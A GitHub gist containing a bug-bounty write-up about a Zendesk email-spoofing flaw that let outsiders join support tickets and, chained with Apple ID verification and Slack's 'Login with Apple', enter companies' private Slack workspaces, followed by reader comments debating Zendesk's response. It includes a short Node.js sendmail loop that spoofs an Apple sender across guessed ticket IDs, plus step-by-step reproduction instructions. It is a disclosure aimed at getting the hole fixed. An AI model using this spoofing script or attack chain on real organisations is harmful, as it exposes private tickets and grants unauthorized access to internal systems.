Skip to content

Instantly share code, notes, and snippets.

@hackermondev
Last active November 15, 2024 17:02
Show Gist options
  • Save hackermondev/68ec8ed145fcee49d2f5e2b9d2cf2e52 to your computer and use it in GitHub Desktop.
Save hackermondev/68ec8ed145fcee49d2f5e2b9d2cf2e52 to your computer and use it in GitHub Desktop.
1 bug, $50,000+ in bounties, how Zendesk intentionally left a backdoor in hundreds of Fortune 500 companies

hi, i'm daniel. i'm a 15-year-old with some programming experience and i do a little bug hunting in my free time. here's the insane story of how I found a single bug that affected over half of all Fortune 500 companies:

say hello to zendesk

If you've spent some time online, you’ve probably come across Zendesk.

Zendesk is a customer service tool used by some of the world’s top companies. It’s easy to set up: you link it to your company’s support email (like [email protected]), and Zendesk starts managing incoming emails and creating tickets. You can handle these tickets yourself or have a support team do it for you. Zendesk is a billion-dollar company, trusted by big names like Cloudflare.

Personally, I’ve always found it surprising that these massive companies, worth billions, rely on third-party tools like Zendesk instead of building their own in-house ticketing systems.

your weakest link

As the saying goes, “You’re only as strong as your weakest link.” Since Zendesk is just seen as a basic ticketing tool, companies often set it up without much thought. The most common setup I've seen is is forwarding all emails from [email protected] to Zendesk.

Why is that dangerous? Many companies use their @company.com domain for Single Sign-On (SSO), which lets employees quickly log in to internal tools. By connecting Zendesk to the same domain, companies unknowingly create a potential security gap. Zendesk handles all emails for the domain it’s configured for, which means if your SSO system doesn’t properly validate email addresses, anyone who gains access to your Zendesk could potentially exploit this and access your internal systems. (I’ll explain more on this later.)

email spoofing

At the beginning of the year, I discovered a serious vulnerability in Zendesk that allowed attackers to read customer support tickets from any company using Zendesk. All they had to do was sent a crafted email to a Support email handled by Zendesk. The shocking part? Zendesk didn’t seem to care.

The bug itself was surprisingly simple. Zendesk had no effective protection against email spoofing, and this oversight made it possible to exploit their email collaboration feature to gain access to others’ tickets.

Here’s how it worked: When you send an email to a company’s Zendesk support portal (e.g., [email protected]), Zendesk creates a new support ticket. To keep track of the email thread, Zendesk automatically generates a reply-to address, which looks like this: support+id{id}@company.com, where {id} is the unique ticket number. This address ensures that any future replies you send go directly to the same ticket.

Zendesk also has a feature for ticket collaboration. If you CC someone on one of your email replies, Zendesk automatically adds them to the ticket, allowing them to see the full ticket history in the support portal.

The exploit was simple: if an attacker knew the support email address and the ticket ID (which are usually easy to guess since ticket IDs are incremental), they could use email spoofing to impersonate the original sender. By sending a fake email to support+id{id}@company.com from the requestor’s email address and CCing their own email, Zendesk would think the email was legitimate. It would then add the attacker’s email to the ticket, giving them full access to the entire ticket history.

This meant an attacker could effectively join any ongoing support conversation, and read sensitive information—all because Zendesk didn’t have proper safeguards against email spoofing.

Bug Prerequisites:

  • Requestor's email
  • The ticket ID (since Zendesk ticket IDs are incremental, an attacker could brute-force or estimate it)
  • Access to a public support portal

"out of scope," said no attacker ever

As soon as I discovered this vulnerability, I reported it through Zendesk’s bug bounty program, fully expecting it to be taken seriously and fixed quickly. A week later, I was hit with a disappointing response: image

Because my bug relied on email spoofing, which was considered "out of scope" for their HackerOne program, they rejected my report. It was unbelievable.

This response wasn’t even from an actual Zendesk team member. Many companies, like Zendesk, use a HackerOne service to triage reports so their own team can focus on fixing bugs instead of verifying submissions. Realizing this, I asked for the report to be forwarded to an actual Zendesk staff member for review. A few days later, I got another frustrating reply:

image

Zendesk refused to reconsider. Despite the security risk, they wouldn’t act on the report because it fell outside their program’s scope. Of course, they’d change their minds in a few weeks—but more on that later.

escalating this to a full Slack takeover

I could have reported the email spoofing bug to individual companies that were affected by it, as it was possible to patch individual instances by disabling email collaboration, prevent attackers from adding themselves to tickets. But I wanted to make a bigger impact.

That's when I came across TICKETTRICK, a blog post from 2017. In it, security researcher Inti De Ceukelaire detailed how he exploited Zendesk to infiltrate the private Slack workspaces of hundreds of companies. Since many companies use Slack SSO on the same domain as Zendesk, the researcher figured out he could complete email verifications through a [email protected] email, and gain access to private Slack channels. Back then, Zendesk wasn't as big and there were some bugs that allowed anyone to view your tickets if they had your email.

I realized that I could replicate his exploit using my bug, but with a few challenges to overcome.

Enter OAuth

After his disclosure (this was years ago!), Slack changed their email verification system to include a random token in email addresses.

image

Inti's exploit (like mine) required the attacker to know the sending email address of the verification code. Slack added random tokens to their email addresses to combat similar attacks in the future. It was impossible to know what email they would send the verification email from (which is one of the prerequisites required for my exploit) as they generated a random token everytime. Unless...

While Slack used a random email token when sending email verification, neither Google or Apple did. Slack supported both methods for OAuth login.

image

It was the most simple bypass. Slack intoduced OAuth login just a few years ago and must have completely forgotten about their protections against this type of attacks.

So now the exploit was simple, create a Google account with a [email protected] email, request verification code, use my bug to access the ticket Zendesk automatically creates when it arrives, verify Google account, login with Google to Slack.

This was perfect...except it wouldn't work with Google. Google sent verification email from [email protected] and Zendesk had started blocking emails from noreply@ addresses from being automatically created as tickets (probably after the TICKETTRICK disclosure too) which meant we wouldn't be able to recieve it.

Apple didn't do this though, Apple sent verification emails from appleid@ address, jackpot. image

reproduction steps, apple -> zendesk -> slack

The steps to execute the attack now were simple:

  1. Create an Apple account with [email protected] email and request a verification code, Apple sends verification code from [email protected] to [email protected] and Zendesk automatically creates a ticket
  2. At the same time, create a ticket on company.com support portal from my own email address, this allows me to keep track of a ID range
  3. Use the email spoofing bug I mentioned earlier to attempt to add yourself to every ticket within the range from earlier
const sendmail = require('sendmail')();

// Assuming the ticket you created in step #2 was assigned a ticket ID of #453 
// verification email landed somewhere near there
const range = [448, 457];
for (let i = range[0]; i < range[1]; i++) {
    // Send spoofed emails from Apple to Zendesk
    sendmail({
        from: '[email protected]',
        to: `support+id${i}@company.com`,
        cc: '[email protected]',
        subject: '',
        html: 'comment body',
    }, function (err, reply) {
        console.log(err && err.stack)
        console.dir(reply)
    });
};
  1. Login to a company.com support portal (usually at support.company.com) from your account ([email protected]) and view your CCed tickets.
image

image

  1. Enter the verification code in Apple
  2. Use Slack's "Login with Apple" feature and log in with the Apple account connected to company.com's email

I replicated this 6-step reproduction steps across hundreds of vulnerable Zendesk and Slack instances. After getting everything ready, I started individually reporting the bug to companies using Zendesk.

aftermath

I spent about a week reporting the vulnerability to individual companies, some of them took immediate action and patched their instances, while others argued that it was a Zendesk issue. Then, something interesting happened—a comment appeared on my original HackerOne report:

image

I couldn’t help but find it amusing—they were now asking me to keep the report confidential, despite having initially dismissed it as out of scope.

Some companies must have contacted Zendesk after recieving my report and the pressure from this issue had essentially forced Zendesk’s hand. I hadn’t mentioned the Slack exploit in my original report to them because I hadn’t discovered it at that point, now they wanted full detailed reproduction steps for the Slack takeover.

I provided the proof of concept for the Slack vulnerability, and they confirmed the issue. Though they claimed they had "started working" on a fix, it would actually take them over two months to resolve it.

bounties

Once companies vulnerable to this were alerted to the issue, many of them quickly disabled Zendesk’s email collaboration feature to protect their instances. Over the course of my reporting, I earned more than $50,000 in bounties from individual companies on HackerOne and other platforms.

Unsurprisingly, Zendesk didn’t come out of this looking good. At least one or two companies reportedly cut ties with Zendesk after my disclosure, canceling their agreements altogether.

zendesk's fix (and my $0 bounty)

On July 2, 2024—two months after I submitted the report—Zendesk finally confirmed that they had fixed the issue. Here’s a statement from their Offensive Security Leader:

In most cases, when an end user submits a support request by email, the email becomes a new ticket or adds a comment to an existing ticket. However, in certain cases, the email may be suspended. Suspending an email means putting it aside for further review. It's not necessarily spam. It's just not a ticket in Zendesk Support yet. It remains in limbo until somebody reviews it and decides whether to accept or reject it. We use two spam filters, Cloudmark and Rspamd EAP to help determine suspicious characteristics in messages. Depending on the score received by these tools, messages may be suspended. If you are curious, we publish a full list of causes for ticket suspension. In the attack scenario explained here, Cloudmark had very low spam scores of while RSpamD had very high spam scores; unfortunately we weren’t using the RSpamD score in this case, otherwise many of the emails would have been suspended and limited the ability to add CCs at all. The first fix we implemented was to Automatically switch to RSPAMD spam analysis when:

  1. Our automatic ticket threading is triggered to thread an new email into a existing ticket and;
  2. We haven’t previously suspended the message due to the Cloudmark score. In addition to this, we also implemented filters to automatically suspend the following classes of emails: User verification emails sent by Apple based on the Reply-To and Message-Id header values Non-transactional emails from from [email protected] Over the coming months, we will continue to look into opportunities to strengthen our Sender Authentication functionality and provide customers with more gradual and advanced security controls over the types of emails that get suspended or rejected.

Despite fixing the issue, Zendesk ultimately chose not to award a bounty for my report. Their reasoning? I had broken HackerOne's disclosure guidelines by sharing the vulnerability with affected companies. I didn’t bother to argue :)

conclusion

What started as a small email bug turned into an exploit that allowed me to infiltrate the internal systems of some of the world’s largest companies. While Zendesk eventually fixed the vulnerability, the journey to get there was a frustrating mix of rejections, slow responses, and ultimately no recognition for the report. But that’s the reality of bug hunting—sometimes you win, sometimes you don’t.

If you enjoyed this write-up and want to stay updated on more of my bug hunting adventures, follow me on Twitter/X @hackermondev for future blog posts and insights.

read next? how I stumbled upon a Discord server and left with a $4000 bounty

@Phlosioneer
Copy link

@Phlosioneer you cannot discuss with stupid people. Just read the last 3-4 posts and I was sure I don't want to jump into the discussion.

I have done what I can to rule out any actual misunderstandings that user may have had. I wasn’t sure if they were misunderstanding while being generally annoying, or if they didn’t care and just wanted to be annoying. Now it’s clear they just want to be annoying.

@BradleyRoss
Copy link

There are two issues
Being out of scope for the bounty program - Whether it is entitled to a bounty is irrelevant. If it was in scope, would they send you the bounty and then ignore it?

There was a bug on LinkedIn (before Microsoft bought it) -- There was a list of symbols on the profile page indicating the groups you were interested in. There was also a button allowing you to reorder the groups. The section for reordering crashed a lot and there were massive lists of complaints on the LinkedIn forums, the FaceBook forums, and a host of others. I looked at the HTML and JavaScript for the page and found the problem. The page had used two SQL statements. One used an inner join while the other used an outer join. If they had both used the same type of join, it would have worked. I notified them of the issue and received the following response: "We are aware of the problem and have given it top priority. When we find more information, we will inform you." I phoned the help desk and walked her through the steps to resolve the issue for my account. I could then reorder that part of the page for my account. I resent the bug report and received the same reply. I asked her to reread my request and she apologized profusely but indicated that the next level help desk would not look at messages from her.

In another case, a programmer at my company was having problems talking to the help desk because he said it was round-off error. I worked out an example that clearly showed it was not round-off. It was a problem with Java with classic "call by value" versus "call by reference". It was a one line change and he had the decency to be chagrined.

At one more location, the management purchased millions of dollars of laser printers although there were no printer drivers available. The output was unusable. A manager told me that he had told everyone that I was giving it top priority, but that I wasn't to do any work on it. To avoid being the scapegoat and because the programmers using the laser printers for program listings were reallly hurting, I fixed it. It took under a week.

These problems and a number of others were several years ago before I retired. If the white house wants to fight bug, maybe they should give us a place to send them

@ped7g
Copy link

ped7g commented Oct 17, 2024

The vulnerability was not “email spoofing exists”, it was “your app is completely trusting email addresses”.

Exactly, that was my point, it's not about SPF,DKIM,DMARC,... vulnerability, you can send them trivially spoofed email in the classic 90s way, if I'm reading the OP correctly. That's ridiculous (on the zendesk side, just clarifying in case somebody is confused by my wording again).

And their heuristic spam-filter "fix" is ridiculous as well, at least they should add hard-coded rules tuned to remove all confirmation code emails on their side, not depending on 3rd party filtering rules in such blatantly obvious cases (and I would expect some kind of sed filters masking out any potential secret keys/codes in ticket texts as well, as tickets shouldn't be used to pass sensitive information between reporter and developer, definitely not as plaintext - in ideal world).

@Fmstrat
Copy link

Fmstrat commented Oct 17, 2024

Not only zendesk. Who just works as expected in this case.

What?

Very fishy presentation. Blurred. Impact is not clearly stated.

What?

I'd rather see zendesk as a victim of this unethical behavior.

What? (found the Zendesk employee)

Impact wasn't demonstrated.

What?

OP, you sold your reputation for 50k+. If it was worth it or no time will show.

What?

I was tempted to ignore this response because of how out of touch it was, but.. What?

@Jesus-QC
Copy link

@unknownfeature, this is a classic example of a supply chain vulnerability. How can you say this isn't a Zendesk issue when they addressed it and even made a public post about the fix?

You're completely out of touch with the reality of the situation

@lowirq
Copy link

lowirq commented Oct 17, 2024

Great work! Congrats, and thanks a lot for the detailed write-up.

@grgpw
Copy link

grgpw commented Oct 17, 2024

@unknownfeature in case this is any way related to your professional job, you have some serious skill issue and you should consult it with cybersec or programmer expert to explain you all your misconceptions and misunderstandings to improve over time, you can get there. The topic is complex and tricky, so it takes lot of time and experience, it's normal to trip on this stuff in the early stages of your journey.

So where exactly was I wrong?

not understanding how it's a problem when every rando on the internet can gain access to all your non-public tickets is mindbogglingly ludicrous.
such tickets contain loads of personal data or even more sensitive information.

@schmorp
Copy link

schmorp commented Oct 17, 2024

since the attack utilizes multiple systems

The other systems didn't suffer from a security bug when utilized though. zendesk did. That is why zendesk is responsible.

@bligneri
Copy link

schmorp

So what's the bug zendesk suffers from? Also if the other systems didn't have any issues why did the OP have to use slack and apple id? Can you explain this?

The bug is that it enable anybody to add a CC: address simply by guessing the ZendDesk ticket ID that is a sequential number.

It leads to a breach of privacy and trust: anybody can now subscribe to every ZenDesk ticket out there. This is bad in and by itself. Bad for business and most certainly illegal in lots of countries.
=> @ZendeskTeam should not have ignored this initial discovery and work hard to fix this!

Now the exploit is using this vulnerability to now attack slack via various problems associates with OAuth flows.
=> The researcher used his knowledge of verifications flows and SSO to effectively bypass the slack protection flows.

=> The root cause of the exploit is really the first one. Without Zendesk an attacker can not create a random @company.com email with google/apple and get it validated.

=> The next step is to gain access to all the SSO protected systems this company owns (including slack as an example)

@PatrikFehrenbach
Copy link

There's no counter-argument to be made here because this was a Zendesk issue. I’m not sure why you feel the need to turn this into a bigger discussion.

@bligneri
Copy link

bligneri commented Oct 17, 2024

There's no counter-argument to be made here because this was a Zendesk issue. I’m not sure why you feel the need to turn this into a bigger discussion.

You won't be presenting any arguments because you stated something. That's what you are implying. And it makes zero sense from logical perspective. Just letting you know. Discussion is where the truth can be found. But none of you is looking for the truth.

Interesting blanket statement none of you is looking for the truth also implying that you are looking for the truth...

At the end of the day, this is a moral argument: how @ZendeskTeam dealt with the researcher is bad and the blog posted is also bad in term of morals.

I get it that it is not fun to learn that your product can be used to super easily hack various of your customers' systems.

As a leader, you should not shoot the messenger. Ideally, you should even go over your bruised ego and thank the researcher for its findings. Given Zendesk size saying thank you implies a reward.

What @ZendeskTeam is especially amoral given the impact of the finding for Zendesk customers...

@Jesus-QC
Copy link

Jesus-QC commented Oct 17, 2024

@unknownfeature, this is a classic example of a supply chain vulnerability. How can you say this isn't a Zendesk issue when they addressed it and even made a public post about the fix?
You're completely out of touch with the reality of the situation

"A supply chain attack is a cyber-attack that seeks to damage an organization by targeting less secure elements in the supply chain."

https://en.wikipedia.org/wiki/Supply_chain_attack

So why did you decide that the least secure was zendesk? You failed to provide the reasoning. And there is a huge logical leap in your statement. That fact that this is a supply chain attack doesn't mean that zendesk is the weakest link.

Zendesk is clearly the weakest link in this situation. It seems you may not have a full understanding of the issue at hand. If Zendesk doesn’t provide a solution, it would mean that any organization using the same email SSO for both Zendesk and Slack would face restrictions. The only way to resolve this is for Zendesk to provide a fix, as it’s not within Slack’s or any other service control.

By the way, if you haven't read the article, they actually explain how this is their own issue. Really, you should try to stop arguing with everyone without a good statement.

"Maybe a problem that it is allowed to user with *apple.com domain to create tickets? So maybe whoever configured it this way is responsible for this issue? Especially taking into account that zendesk recommends to use subdomains. Maybe slack is responsible for creating tickets from such users? Maybe apple is responsible for sending emails the way that allows the tickets to be created from the id address?"

Exactly, this suggests that Zendesk is the root of the issue. They already block noreply emails, but it seems they overlooked this configuration where other services don't use those, and it went unnoticed until now.

@grgpw
Copy link

grgpw commented Oct 18, 2024

2. The attack is not performing slack takeover. It exposes zendesk tickets through an unauthorized access the OP obtained via slack. Why aren't we saying there is a bug in slack?

you fail to understand that the slack stuff has nothing to do with everything under the paragraph "email spoofing".

@CodeArno
Copy link

Congrats @hackermondev on the clever approach and shame on @ZendeskTeam for handling this in the worst way possible every step of the way, including the final public post. I am incredibly glad our company cut ties with Zendesk long before this report, that is an atrocious way of dealing with security issues and with security researchers.

@dev-bun
Copy link

dev-bun commented Oct 18, 2024

geniunely not sure why everyone is tweaking about this...

its a zendesk issue. the reason he was able to gain access to slack, create an apple id with that email, etc was because he took advantage of a zendesk bug. if zendesk did not have that bug, he wouldn't have been able to get access.

zendesk and hackerone are both in the wrong here. hackerone triagers basically brushed over the bug report (as they always do) and ignored the main part of the vulnerability. it is email spoofing, but not in the way described in the out-of-scope section. zendesk, however, should have taken note and stepped in. it is their responsibility to keep their customers safe, and the best way to get this resolved before anything more major happened was to have someone use it as a POC on live customers. if this never happened, god knows who may have abused this bug...

tbh, i think this is a lesson for both parties involved:

  • zendesk - you need to revamp your bug bounty program and actually listen to reporters, as this could have all been avoided if you just took the time to actually read what @hackermondev reported.
  • hackerone - you need to teach your triagers and mediators to actually read and handle reports properly. anyone that has reported through h1 before knows how hard it is to get across to your team and it takes many weeks of the bug existing before the issue is triaged.

@mxrch
Copy link

mxrch commented Oct 22, 2024

W

@sympact06
Copy link

bad job zendesk

@pinguluk
Copy link

Insane

@in-plaintext
Copy link

You could additionally convert the screenshots to text, if only for accessibility reasons.

@SpComb
Copy link

SpComb commented Oct 28, 2024

https://support.zendesk.com/hc/en-us/community/posts/5516621249690-Phishing-Warning-for-other-Admins seems like social engineering doesn't necessarily even require you to spoof the From header and risk tripping over any DMARC checks, because zendesk uses the reply-to address to set the ticket requester. Seems like there is only a small warning in the footer if it doesn't match with the From address, but it doesn't go into the suspended tickets - at least back in March 2023 at the time of that thread?

https://support.zendesk.com/hc/en-us/articles/4408887388058-A-complete-guide-to-understanding-email-in-Zendesk-Part-2-Incoming-email-requests-and-notifications#topic_f4r_8hs_v4

The email body is not used in any way to assist in identifying the requester of a ticket. Zendesk uses information from the email headers to determine the ticket requester. Usually a requester is set based on the reply-to: header flag. If the reply-to: header is not present, from: is used in its place. This behavior can't be changed.

I hope they haven't also used the reply-to header for the cc feature, because I doubt any DMARC policy checks even apply there?

@mradamdavies
Copy link

This is a great example of why "out-of-scope" should always be seriously considered as a valid submission.

@lwillek
Copy link

lwillek commented Oct 30, 2024

A nice summary of this story --> Youtube

direct link: Zendesk Ignored Major Email Spoofing Exploit

@dev-willis
Copy link

Just wanted to add another "great job, great write-up!" for @hackermondev and "zendesk sucks, you should be ashamed" for @ZendeskTeam. Def won't ever use Zendesk again.

@linus-jansson
Copy link

It is interesting to see how a major company responds to an initial security report, even though when it falls outside their policy on H1. One can only consider the potential consequences if a malicious actor had exploited this vulnerability because it was not escalated, solely due to the absence of a bounty. Such an outcome could have posed a significantly greater risk for Zendesk and other big fortune 500's.

Nonetheless, awesome work on your findings!

@digimbyte
Copy link

official statement from Zendesk on this topic:
https://support.zendesk.com/hc/en-us/articles/8187090244506-Email-user-verification-bug-bounty-report-retrospective
community retrospective: a bug outside of scope and without payment is perfectly fine to be reported to other companies.
'bug' was reported as informative - but Zendesk still acted and 'patched' it after complaints.

@LuizFelipeSantosPereira
Copy link

Great work @hackermondev

Looking forward for more of your work and articles! Really good read

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment